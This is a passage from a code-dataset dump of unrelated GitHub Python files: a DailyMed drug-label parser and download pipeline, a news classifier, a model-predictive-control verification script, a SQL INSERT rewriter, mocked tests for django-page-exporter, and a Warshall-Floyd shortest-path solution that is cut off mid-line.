//v:code[@code='34068-7']/..//v:item\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    # MECHANISM OF ACTION SECTION  - 43679-0\n    @property\n    def Mechanism_of_Action(self):\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='43679-0']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    # PHARMACODYNAMICS SECTION - 43681-6\n    @property\n    def Pharmacodynamics(self):\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='43681-6']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    # DRUG PRODUCT & SAFETY INFORMATION\n    # PREGNANCY SECTION - 42228-7\n\n    @property\n    def Pregnancy(self):  # It's called \"Pregnancy\"\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='42228-7']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    @property\n    def Teratogenic_Effects(self):  # NEED \"Animal Findings\"?\n        try:\n            note_section_paragraphs = (\n                self.xml.xpath(\"//v:code[@code='34077-8']/..//v:paragraph | //v:code[@code='34077-8']/..//v:item\",\n                               namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    @property\n    def Nonteratogenic_Effects(self):\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34078-6']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    @property\n    def Lactation(self):\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='77290-5']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    # How about LACTATION SECTION (77290-5)?\n    @property\n    def Nursing_Mothers(self):  # NURSING MOTHERS SECTION\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34080-2']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            # OrderedSet library is used to remove any duplicate selected text while maintaining text order.\n            # This may be able to be replaced by just using a standard dict. With something like\n            # ' '.join(list(dict.fromkeys(text)))\n            # but this has not been tested.\n\n            return ' '.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    # FEMALES & MALES OF REPRODUCTIVE POTENTIAL SECTION 77291 - 3\n    @property\n    def Females_Males_of_Reproductive_Potential(self):\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='77291-3']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    # PHARMACOKINETICS SECTION - 43682-4\n    @property\n    def Pharmacokinetics(self):  # TODO: how to assign each paragraph?\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='43682-4']/..//v:title\"\n                                                      \"| //v:code[@code='43682-4']/..//v:paragraph\"\n                                                      \"| //v:code[@code='43682-4']/..//v:item\",\n                                                      namespaces=namespaces))\n\n            table_section_paragraphs = (self.xml.xpath(\"//v:code[@code='43682-4']/..//v:table//v:title\"\n                                                       \"| //v:code[@code='43682-4']/..//v:table//v:paragraph\"\n                                                       \"| //v:code[@code='43682-4']/..//v:table//v:item\",\n                                                       namespaces=namespaces))\n            note_section_paragraphs = filter(lambda x: x not in table_section_paragraphs, note_section_paragraphs)\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    @property\n    def Pharmacokinetics_Table(self):\n        try:\n            table_section_paragraphs = (self.xml.xpath(\"//v:code[@code='43682-4']/..//v:table\",\n                                                       namespaces=namespaces))\n\n            text = list()\n            for paragraph in table_section_paragraphs:\n                table_string = ''.join(paragraph.xpath(\".//v:caption/text()\", namespaces=namespaces)).strip()\n                table_string += '<table>'\n                for row in paragraph.xpath(\".//v:tr\", namespaces=namespaces):\n                    table_string += '<tr>'\n                    for col in row.xpath(\".//v:th\", namespaces=namespaces):\n                        table_string += '<td><b>{}</b></td>'.format(' '.join(col.xpath('.//text()')).strip())\n                    for col in row.xpath(\".//v:td\", namespaces=namespaces):\n                        colspan = col.get('colspan')\n                        rowspan = col.get('rowspan')\n                        if colspan or rowspan:\n                            table_string += '<td colspan={} rowspan={}>{}</td>'.format(colspan, rowspan, ' '.join(col.xpath('.//text()')).strip())\n                        else:\n                            table_string += '<td>{}</td>'.format(' '.join(col.xpath('.//text()')))\n                    table_string += '</tr>'\n                table_string += '</table>'\n                text.append(table_string)\n\n            return '\\n\\n'.join(text)\n        except:\n            return \"\"\n\n    # CARCINOGENESIS & MUTAGENESIS & IMPAIRMENT OF FERTILITY SECTION - 34083-6\n    @property\n    def Carcinogenesis(self):\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34083-6']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n\n    # HOW SUPPLIED SECTION - 34069 - 5\n    @property\n    def How_Supplied(self):\n        try:\n            note_section_paragraphs = (self.xml.xpath(\"//v:code[@code='34069-5']\"\"/..//v:paragraph\",\n                                                      namespaces=namespaces))\n\n            text = list()\n            for paragraph in note_section_paragraphs:\n                text.append(' '.join(''.join(paragraph.xpath(\".//text()\")).split()))\n\n            return '\\n\\n'.join(OrderedSet(text))\n        except:\n            return \"\"\n\n    @property\n    def Appl_No(self):\n        try:\n            Appl_no = list(set(self.xml.xpath(\"//v:approval/v:id/@extension\", namespaces=namespaces)))\n            return ' '.join(OrderedSet(Appl_no))\n        except:\n            return \"\"\n\ndef data_collection():\n    dm_metadata_df = pd.read_csv(DAILYMED_ORIGIN, delimiter='|', dtype=str)\n    raw_df = pd.DataFrame(columns=['SETID', 'SPL'])\n    error_df = pd.DataFrame(columns=['SETID'])\n    for index, row in dm_metadata_df.iterrows():\n        try:\n            r = requests.get(url=DAILYMED_SPL_URL + row.SETID + '.xml')\n            raw_df = raw_df.append({\n                'SETID': row.SETID,\n                'SPL': r.content\n            }, ignore_index=True)\n        except:\n            print(\"cannot get SPL for SETID %s.\" % row.SETID)\n            error_df = error_df.append({'SETID': row.SETID}, ignore_index=True)\n            continue\n\n        if (index + 1) % 100 == 0:\n            raw_df.to_csv(DAILYMED_RAW, index=False)\n            error_df.to_csv(DAILYMED_ERROR, index=False)\n            print(datetime.now().strftime(\"%d/%m/%Y %H:%M:%S.\"),\n                  '{} completed: {} success, {} failed. (Total progress: {:.4f})'.format(str(index + 1),\n                         str(len(raw_df)), str(len(error_df)),(index + 1)/len(dm_metadata_df)))\n\n\n\n    print('Total {} completed: {} success, {} failed.'.format(str(len(dm_metadata_df)), str(len(raw_df)),\n                                                             str(len(error_df))))\n    return raw_df, error_df\n\n\ndef spl_parse(raw_df):\n    df = pd.DataFrame(columns=['Appl_No', 'SETID', 'Drug_Name', 'Effective_Date', 'Pharmacokinetics',\n        'Pharmacokinetics_Table', 'Box_Warning', 'NDCs', 'Indication', 'Information_for_Patients',\n        'Dosage_Administration', 'Mechanism_of_Action', 'Pregnancy', 'Teratogenic_Effects',\n        'Nonteratogenic_Effects', 'Lactation', 'Nursing_Mothers', 'Females_Males_of_Reproductive_Potential',\n        'Carcinogenesis', 'How_Supplied'])\n    error_df = pd.DataFrame(columns=['SETID'])\n    for i, row in raw_df.iterrows():\n        if re.search(r'<document.+</document>', row.SPL):\n            try:\n                spl_string = re.search(r'<document.+</document>', row.SPL).group()\n                spl_string = re.sub('\\\\\\\\n', '', spl_string)\n                spl = SPL(spl_string)\n                df = df.append({\n                    'Appl_No': spl.Appl_No,\n                    'SETID': row.SETID,\n                    'Drug_Name': spl.Drug_Name,\n                    'Effective_Date': str(spl.Effective_Date),\n                    'Pharmacokinetics': spl.Pharmacokinetics,\n                    'Pharmacokinetics_Table': spl.Pharmacokinetics_Table,\n                    'Box_Warning': spl.Box_Warning,\n                    'NDCs': spl.NDCs,\n                    'Indication': spl.Indication,\n                    'Information_for_Patients': spl.Information_for_Patients,\n                    'Dosage_Administration': spl.Dosage_Administration,\n                    'Mechanism_of_Action': spl.Mechanism_of_Action,\n                    'Pregnancy': spl.Pregnancy,\n                    'Teratogenic_Effects': spl.Teratogenic_Effects,\n                    'Nonteratogenic_Effects': spl.Nonteratogenic_Effects,\n                    'Lactation': spl.Lactation,\n                    'Nursing_Mothers': spl.Nursing_Mothers,\n                    'Females_Males_of_Reproductive_Potential': spl.Females_Males_of_Reproductive_Potential,\n                    'Carcinogenesis': spl.Carcinogenesis,\n                    'How_Supplied': spl.How_Supplied,\n                }, ignore_index=True)\n            except:\n                error_df = error_df.append({'SETID': row.SETID}, ignore_index=True)\n                continue\n        else:\n            error_df = error_df.append({'SETID': row.SETID}, ignore_index=True)\n        if (i + 1) % 5000 == 0:\n            print('{} completed: {} success, {} failed'.format(str(i + 1), str(len(df)), str(len(error_df))))\n\n    print('Total {} completed: {} success, {} failed'.format(str(len(raw_df)), str(len(df)), str(len(error_df))))\n    return df, error_df\n\n\ndef identifier_remap(raw_df):\n    new_row_count = 0\n    new_row_df = pd.DataFrame()\n    raw_df['Effective_Date'] = pd.to_datetime(raw_df['Effective_Date']).dt.date\n    remap_df = raw_df.copy()\n    for index, row in remap_df.iterrows():\n        if not pd.isna(row.FDA_Application_Number):\n            fda_appl_no_list = row['FDA_Application_Number'].split(' ')\n            if len(fda_appl_no_list) > 1:\n                new_row_count += len(fda_appl_no_list) - 1\n                remap_df.at[index, 'FDA_Application_Number'] = fda_appl_no_list[0]\n                for i in range(1, len(fda_appl_no_list)):\n                    new_row = row\n                    new_row['FDA_Application_Number'] = fda_appl_no_list[i]\n                    new_row_df = new_row_df.append(new_row)\n    remap_df = remap_df.append(new_row_df)\n    return remap_df\n\n\ndef remove_duplicate(remap_df):\n    no_appl_num_df = remap_df[pd.isna(remap_df['FDA_Application_Number'])].copy()\n    remap_df = remap_df[~pd.isna(remap_df['FDA_Application_Number'])]\n\n    nda_pattern = r'^ANDA|^NDA'\n    nda_filter = remap_df['FDA_Application_Number'].str.match(nda_pattern)\n\n    nda_df = remap_df[nda_filter].copy()\n    nda_df = nda_df \\\n        .sort_values(['FDA_Application_Number', 'Effective_Date'], ascending=(True, False)) \\\n        .reset_index(drop=True)\n    nda_df = nda_df \\\n        .drop_duplicates(subset=['FDA_Application_Number'], keep='first') \\\n        .reset_index(drop=True)\n\n    non_nda_df = remap_df[~nda_filter].copy()\n    non_nda_df = non_nda_df \\\n        .sort_values(['FDA_Application_Number', 'Effective_Date'], ascending=(True, False)) \\\n        .reset_index(drop=True)\n    non_nda_df = non_nda_df \\\n        .drop_duplicates(subset=['FDA_Application_Number'], keep='first') \\\n        .reset_index(drop=True)\n    non_nda_df = non_nda_df.append(no_appl_num_df)\n\n    return nda_df, non_nda_df\n\nstart_time = time.time()\nprint('Step 1 of 4: Data collection (take 7-12 hours depending on computer and internet connections)')\ndailymed_raw_df, dailymed_error_df = data_collection()\ndailymed_error_df.to_csv(DAILYMED_ERROR, index=False)\ndailymed_raw_df.to_csv(DAILYMED_RAW, index=False)\nstep1_time = time.time()\nhours, rem = divmod(step1_time - start_time, 3600)\nminutes, seconds = divmod(rem, 60)\nprint(\"Step 1 used {:0>2}:{:0>2}:{:05.2f}\\n\".format(int(hours), int(minutes), seconds))\n\ndailymed_raw_df = pd.read_csv(DAILYMED_RAW, dtype=str)\nprint('Step 2 of 4: Parse SPL')\ndailymed_spl_df, dailymed_error_spl_df = spl_parse(dailymed_raw_df)\ndailymed_spl_df.to_csv(DAILYMED_SPL, index=False)\ndailymed_error_spl_df.to_csv(DAILYMED_SPL_ERROR, index=False)\nstep2_time = time.time()\nhours, rem = divmod(step2_time - step1_time, 3600)\nminutes, seconds = divmod(rem, 60)\nprint(\"Step 2 used {:0>2}:{:0>2}:{:05.2f}\\n\".format(int(hours), int(minutes), seconds))\n\ndailymed_spl_df = pd.read_csv(DAILYMED_SPL, dtype=str)\nprint('Step 3 of 4: Unify identifier')\ndailymed_remap_df = identifier_remap(dailymed_spl_df)\ndailymed_remap_df.to_csv(DAILYMED_REMAP, index=False)\nprint('Unify identifier: {} records'.format(str(len(dailymed_remap_df))))\nstep3_time = time.time()\nhours, rem = divmod(step3_time - step2_time, 3600)\nminutes, seconds = divmod(rem, 60)\nprint(\"Step 3 used {:0>2}:{:0>2}:{:05.2f}\\n\".format(int(hours), int(minutes), seconds))\n\nstep3_time = time.time()\ndailymed_remap_df = pd.read_csv(DAILYMED_REMAP, dtype=str)\nprint('Step 4 of 4: Filter NDA/ANDA Drug')\ndailymed_nda_df, dailymed_non_nda_df = remove_duplicate(dailymed_remap_df)\nprint('NDA/ANDA Drug: {} records'.format(str(len(dailymed_nda_df))))\nstep4_time = time.time()\nhours, rem = divmod(step4_time - step3_time, 3600)\nminutes, seconds = divmod(rem, 60)\nprint(\"Step 4 used {:0>2}:{:0>2}:{:05.2f}\\n\".format(int(hours), int(minutes), seconds))\ndailymed_nda_df.to_csv('dailymed_nda_df.csv', index=False)\n","repo_name":"TahaAslani/PharmBERT","sub_path":"2-dailymed_data.py","file_name":"2-dailymed_data.py","file_ext":"py","file_size_in_byte":22785,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"2783281233","text":"from sklearn.metrics import f1_score, precision_score, recall_score\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix\nimport csv\nimport numpy as np\n\ndef load_dataset(path):\n    datasets = []\n    with open(path, \"r\") as f:\n        reader = csv.reader(f, delimiter=\"\\t\")\n        for row in reader:\n            datasets.append(row)\n\n    return datasets\n\ndef preprocess(data):\n    x = [d[1] for d in data]\n    y = [d[4] for d in data]\n\n    x = [d.lower() for d in x]\n    return x, y\n\ntrain_data = load_dataset(\"NewsAggregatorDataset/train.txt\")\nvalid_data = load_dataset(\"NewsAggregatorDataset/valid.txt\")\ntest_data = load_dataset(\"NewsAggregatorDataset/test.txt\")\ntrain_x, train_y = preprocess(train_data)\nvalid_x, valid_y = preprocess(valid_data)\ntest_x, test_y = preprocess(test_data)\n\nmodel = CountVectorizer()\ntrain_x = model.fit_transform(train_x)\nvalid_x = model.transform(valid_x)\ntest_x = model.transform(test_x)\n\nclf = LogisticRegression(random_state=0).fit(train_x, train_y)\npreds = clf.predict(test_x)\nprint(\"macro precision\", precision_score(test_y, preds, average='macro'))\nprint(\"macro recall\", recall_score(test_y, preds, average='macro'))\nprint(\"macro f1\", f1_score(test_y, preds, average='macro'))\n\nprint(\"micro precision\", precision_score(test_y, preds, average='micro'))\nprint(\"micro recall\", recall_score(test_y, preds, average='micro'))\nprint(\"micro f1\", f1_score(test_y, preds, average='micro'))","repo_name":"ujiuji1259/NLP100","sub_path":"chap6/p56.py","file_name":"p56.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71423054728","text":"import numpy as np\nimport scipy.sparse as sparse\nimport time\nimport matplotlib.pyplot as plt\nfrom pyMPC.mpc import MPCController\n\n\nif __name__ == '__main__':\n    import time\n    import matplotlib.pyplot as plt\n    # Constants #\n    Ts = 0.2 # sampling time (s)\n    M = 2    # mass (Kg)\n    b = 0.3  # friction coefficient (N*s/m)\n\n    Ad = sparse.csc_matrix([\n        [1.0, Ts],\n        [0,  1.0 -b/M*Ts]\n    ])\n    Bd = sparse.csc_matrix([\n      [0.0],\n      [Ts/M]])\n\n    # Continous-time matrices (just for reference)\n    Ac = np.array([\n        [0.0, 1.0],\n        [0, -b/M]]\n    )\n    Bc = np.array([\n        [0.0],\n        [1/M]\n    ])\n\n    # Reference input and states\n    pref = 7.0\n    vref = 0.0\n    xref = np.array([pref, vref]) # reference state\n    uref = np.array([5])    # reference input\n    uminus1 = np.array([0.0])     # input at time step negative one - used to penalize the first delta u at time instant 0. Could be the same as uref.\n\n    # Constraints\n    xmin = np.array([-10, -10.0])\n    xmax = np.array([100.0,   100.0])\n\n    umin = np.array([-1.2])\n    umax = np.array([1.2])\n\n    Dumin = np.array([-2e-1])\n    Dumax = np.array([2e-1])\n\n    # Objective function\n    Qx = sparse.diags([0.5, 0.1])   # Quadratic cost for states x0, x1, ..., x_N-1\n    QxN = sparse.diags([0.5, 0.1])  # Quadratic cost for xN\n    Qu = 0.1 * sparse.eye(1)        # Quadratic cost for u0, u1, ...., u_N-1\n    QDu = 0.0 * sparse.eye(1)       # Quadratic cost for Du0, Du1, ...., Du_N-1\n\n    # Initial state\n    x0 = np.array([0.1, 0.2]) # initial state\n\n    # Prediction horizon\n    Np = 25\n    Nc = 25\n\n    K = MPCController(Ad,Bd,Np=Np,Nc=Nc,x0=x0,xref=xref,uref=uref,uminus1=uminus1,\n                      Qx=Qx, QxN=QxN, Qu=Qu,QDu=QDu,\n                      xmin=xmin,xmax=xmax,umin=umin,umax=umax,Dumin=Dumin,Dumax=Dumax)\n    K.setup()\n\n    # Simulate in closed loop\n    [nx, nu] = Bd.shape # number of states and number or inputs\n    len_sim = 30 # simulation length (s)\n    nsim = int(len_sim/Ts) # simulation length(timesteps)\n    xsim = np.zeros((nsim,nx))\n    usim = np.zeros((nsim,nu))\n    tsim = np.arange(0,nsim)*Ts\n    J_opt = np.zeros((nsim,1))\n\n    time_start = time.time()\n    xstep = x0\n    for i in range(nsim):\n        uMPC, info = K.output(return_u_seq=True, return_x_seq=True, return_eps_seq=True, return_status=True, return_obj_val=True)\n        xstep = Ad.dot(xstep) + Bd.dot(uMPC)  # system step\n        J_opt[i,:] = info['obj_val']\n        K.update(xstep) # update with measurement\n        K.solve()\n        xsim[i,:] = xstep\n        usim[i,:] = uMPC\n\n    time_sim = time.time() - time_start\n\n    #K.__controller_function__(np.array([0,0]), np.array([0]))\n\n    fig,axes = plt.subplots(4,1, figsize=(10,10))\n    axes[0].plot(tsim, xsim[:,0], \"k\", label='p')\n    axes[0].plot(tsim, xref[0]*np.ones(np.shape(tsim)), \"r--\", label=\"pref\")\n    axes[0].set_title(\"Position (m)\")\n\n    axes[1].plot(tsim, xsim[:,1], label=\"v\")\n    axes[1].plot(tsim, xref[1]*np.ones(np.shape(tsim)), \"r--\", label=\"vref\")\n    axes[1].set_title(\"Velocity (m/s)\")\n\n    axes[2].plot(tsim, usim[:,0], label=\"u\")\n    axes[2].plot(tsim, uref*np.ones(np.shape(tsim)), \"r--\", label=\"uref\")\n    axes[2].set_title(\"Force (N)\")\n\n    axes[3].plot(tsim, J_opt, \"k\", label=\"J_opt\")\n\n    for ax in axes:\n        ax.grid(True)\n        ax.legend()\n\n\n    x_seq = info['x_seq']\n    eps_seq = info['eps_seq']\n    u_seq = info['u_seq']\n    eps_recalc_seq = np.zeros(eps_seq.shape)\n    u_old = K.uminus1_rh\n    x_new_dyn = x_seq[0,:]\n    J_recalc_x = 0\n    J_recalc_u = 0\n    J_recalc_Du = 0\n    J_recalc_eps = 0\n\n\n    for i in range(Np):\n        x_i = x_seq[i,:] # x[i]\n        eps_i = eps_seq[i]\n        if i < Nc:\n            u_i = u_seq[i,:] # u[i]\n        else:\n            u_i = u_seq[Nc-1,:]\n        eps_i_recalc = x_new_dyn - x_i # eps[i]\n        J_recalc_x += 1/2*(x_i -xref).dot(K.Qx.dot((x_i -xref)))\n        J_recalc_u += 1/2*(u_i -uref).dot(K.Qu.dot((u_i -uref)))\n        J_recalc_Du += 1/2*(u_i -u_old).dot(K.QDu.dot((u_i -u_old)))\n        J_recalc_eps += 1/2*(eps_i_recalc).dot(K.Qeps.dot((eps_i_recalc)))\n        x_new_dyn = K.Ad.dot(x_i) + K.Bd.dot(u_i)\n        u_old = u_i\n\n    x_i = x_seq[Np,:]\n    eps_i_recalc = x_new_dyn - x_i\n    J_recalc_x += 1/2*(x_i -xref).dot(K.QxN.dot((x_i -xref)))\n    J_recalc_eps += 1/2*(eps_i_recalc).dot(K.Qeps.dot((eps_i_recalc)))\n\n    J_recalc = J_recalc_x + J_recalc_u + J_recalc_Du + J_recalc_eps\n","repo_name":"forgi86/pyMPC","sub_path":"test_scripts/verify_MPC.py","file_name":"verify_MPC.py","file_ext":"py","file_size_in_byte":4430,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"16"}
+{"seq_id":"23184362275","text":"import os\nimport re\n\n# Path to the folder containing SQL files\ninput_folder = os.path.join(os.path.join(os.path.dirname(os.getcwd()), 'sqlfiles'),'rearrange_insert_success')\n# Path to the folder to save modified SQL files\noutput_folder = os.path.join(os.path.join(os.path.dirname(os.getcwd()), 'sqlfiles'),'final_sql')\n\n# Define a regular expression pattern to match INSERT statements\ninsert_pattern = r\"INSERT\\s+INTO\\s+(\\w+)\\s*\\((.*?)\\)\\s*VALUES\\s*\\((.*?)\\)\\s*;\"\n\n\ndef replace_insert(match):\n    table_name = match.group(1)\n    columns = match.group(2)\n    values = match.group(3)\n    overridden_query = f\"INSERT INTO {table_name} ({columns}) OVERRIDING SYSTEM VALUE VALUES ({values});\"\n    return overridden_query\n\n\nif not os.path.exists(output_folder):\n    os.makedirs(output_folder)\n\nfor filename in os.listdir(input_folder):\n    if filename.endswith(\".sql\"):\n        input_file_path = os.path.join(input_folder, filename)\n        output_file_path = os.path.join(output_folder, filename)\n\n        with open(input_file_path, \"r\") as input_file:\n            sql_queries = input_file.read()\n\n        modified_sql_queries = re.sub(\n            insert_pattern, replace_insert, sql_queries, flags=re.DOTALL)\n\n        with open(output_file_path, \"w\") as output_file:\n            output_file.write(modified_sql_queries)\n\n        print(\"Modified SQL queries saved to\", output_file_path)\n","repo_name":"bharatadk/DATABASE_MIGRATION_UTILS","sub_path":"NEW_HITE_2021/overwrite_insert_query.py","file_name":"overwrite_insert_query.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43191716194","text":"import pytest\nimport urllib\nfrom io import BytesIO\n\nimport mock as mock\nimport subprocess\n\nfrom django.http import HttpResponseBadRequest\nfrom django.test import RequestFactory, override_settings\n\ntry:\n    from django.urls import reverse, NoReverseMatch\nexcept:\n    from django.core.urlresolvers import reverse, NoReverseMatch\n\nfrom page_exporter.utils import script_command_kwargs, script_command, image_mimetype, parse_render, parse_size, \\\n    page_capture, parse_url\nfrom page_exporter.views import capture\n\n\ndef test_script_command_kwargs():\n    kw = script_command_kwargs()\n    assert 'stdout' in kw\n    assert 'stderr' in kw\n    assert 'universal_newlines' in kw\n    assert 'env' in kw\n\n\ndef test_script_command():\n    with override_settings(PAGE_EXPORTER_SCRIPT_CMD='node'):\n        with override_settings(PAGE_EXPORTER_CAPTURE_SCRIPT='./print.js'):\n            out = script_command()\n            assert 'node' in out[0]\n            assert 'print' in out[1]\n    with override_settings(PAGE_EXPORTER_SCRIPT_CMD='phantomjs'):\n        with override_settings(PAGE_EXPORTER_CAPTURE_SCRIPT='./capture.js'):\n            out = script_command()\n            assert 'phantomjs' in out[0]\n            assert 'capture' in out[1]\n\n\ndef test_image_mimetype():\n    assert image_mimetype(None) == 'image/png'\n    assert image_mimetype('jpg') == 'image/jpeg'\n    assert image_mimetype('png') == 'image/png'\n    assert image_mimetype('xbm') == 'image/x-xbitmap'\n    assert image_mimetype('bmp') == 'image/bmp'\n    assert image_mimetype('notvalid') == 'image/png'\n\n\ndef test_parse_render():\n    assert parse_render(None) == 'png'\n    assert parse_render('jpg') == 'jpeg'\n    assert parse_render('html') == 'png'\n    assert parse_render('gif') == 'gif'\n    assert parse_render('pdf') == 'pdf'\n    assert parse_render('notvalid') == 'png'\n\n\ndef test_parse_size():\n    assert parse_size('aa') is None\n    assert parse_size((100,None)) is None\n    assert parse_size('300x100') == (300, 100)\n    assert parse_size('300x') is None\n    assert parse_size('x100') is None\n    assert parse_size('x') is None\n\n\n@mock.patch.object(subprocess, 'Popen', autospec=True)\ndef test_parse_url(mock_popen):\n    mock_popen.return_value.returncode = 0\n    mock_popen.return_value.communicate.return_value = (\"output\", \"Error\")\n    p = {\n        'url': 'http://example.com',\n        'render': 'png',\n        'cookie_name': 'test',\n        'cookie_value': 'test',\n        'cookie_domain': 'test',\n        'width': 100,\n        'height': 100,\n        'page_status': 'test',\n        'method': 'test',\n        'selector': 'test',\n        'data': {\"a\": \"b\"},\n        'waitfor': 'test',\n        'wait': 'test',\n    }\n    rf = RequestFactory()\n    request = rf.get(reverse('capture'), p)\n\n    assert parse_url(request, '/tmp') == 'http://testserver/tmp'\n    assert parse_url(request, 'capture') == 'http://testserver/e/'\n\n    with pytest.raises(NoReverseMatch):\n        parse_url(request, 'nonamedurl')\n\n    assert parse_url(request, 'http://example.com') == 'http://example.com'\n\n\n@mock.patch.object(subprocess, 'Popen', autospec=True)\ndef test_page_capture_base(mock_popen):\n    mock_popen.return_value.returncode = 0\n    mock_popen.return_value.communicate.return_value = (\"output\", \"Error\")\n    stream = BytesIO()\n    page_capture(stream, 'http://example.com')\n    assert mock_popen.called\n\n\n@mock.patch.object(subprocess, 'Popen', autospec=True)\ndef test_page_capture_with_params(mock_popen):\n    mock_popen.return_value.returncode = 0\n    mock_popen.return_value.communicate.return_value = (\"output\", \"Error\")\n    stream = BytesIO()\n\n    p = {\n        'render': 'png',\n        'cookie_name': 'test',\n        'cookie_value': 'test',\n        'cookie_domain': 'test',\n        'width': 100,\n        'height': 100,\n        'page_status': 'test',\n        'method': 'test',\n        'selector': 'test',\n        'data': {\"a\": \"b\"},\n        'waitfor': 'test',\n        'wait': 'test',\n    }\n\n    page_capture(stream, 'http://example.com', **p)\n    assert mock_popen.called\n\n    args, kwargs = mock_popen.call_args\n    assert '--format=png' in args[0]\n    assert '--cookie_name=test' in args[0]\n    assert '--cookie_value=test' in args[0]\n    assert '--cookie_domain=test' in args[0]\n    assert '--width=100' in args[0]\n    assert '--height=100' in args[0]\n    assert '--page_status=test' in args[0]\n    assert '--method=test' in args[0]\n    assert '--selector=test' in args[0]\n    assert '--data=\"{\"a\": \"b\"}\"' in args[0]\n    assert '--waitfor=test' in args[0]\n    assert '--wait=test' in args[0]\n\n    assert kwargs == script_command_kwargs()\n","repo_name":"marcoimme/django-page-exporter","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":4595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"21904142855","text":"from sys import stdin\r\nfrom collections import defaultdict\r\n\r\n\r\nclass WarshallFloyd():\r\n    def __init__(self, N):\r\n        self.N = N\r\n        self.d = [[float(\"inf\") for i in range(N)] for i in range(N)]\r\n\r\n    def add(self, u, v, c, directed=False):\r\n        if directed is False:\r\n            self.d[u][v] = c\r\n            self.d[v][u] = c\r\n        else:\r\n            self.d[u][v] = c\r\n\r\n    def WarshallFloyd_search(self):\r\n        for k in range(self.N):\r\n            for i in range(self.N):\r\n                for j in range(self.N):\r\n                    self.d[i][j] = min(\r\n                        self.d[i][j], self.d[i][k] + self.d[k][j])\r\n        hasNegativeCycle = False\r\n        for i in range(self.N):\r\n            if self.d[i][i] < 0:\r\n                hasNegativeCycle = True\r\n                break\r\n        for i in range(self.N):\r\n            self.d[i][i] = 0\r\n        return hasNegativeCycle, self.d\r\n\r\n\r\nreadline = stdin.readline\r\nh, w = map(int, readline().split())\r\ngraph = WarshallFloyd(10)\r\nfor i in range(10):\r\n    cost = list(map(int, readline().split()))\r\n    for j in range(10):\r\n        if i != j:\r\n            graph.add(i, j, cost[j], directed=True)\r\nhasNegativeCycle, d = graph.WarshallFloyd_search()\r\nnums = defaultdict(int)\r\nfor _ in [0] * h:\r\n    num_li = list(map(int, readline().split()))\r\n    for num in num_li:\r\n        if num != -1:\r\n            nums[num] += 1\r\nans = 0\r\nfor i in range(10):\r\n    ans += d[i][1] * 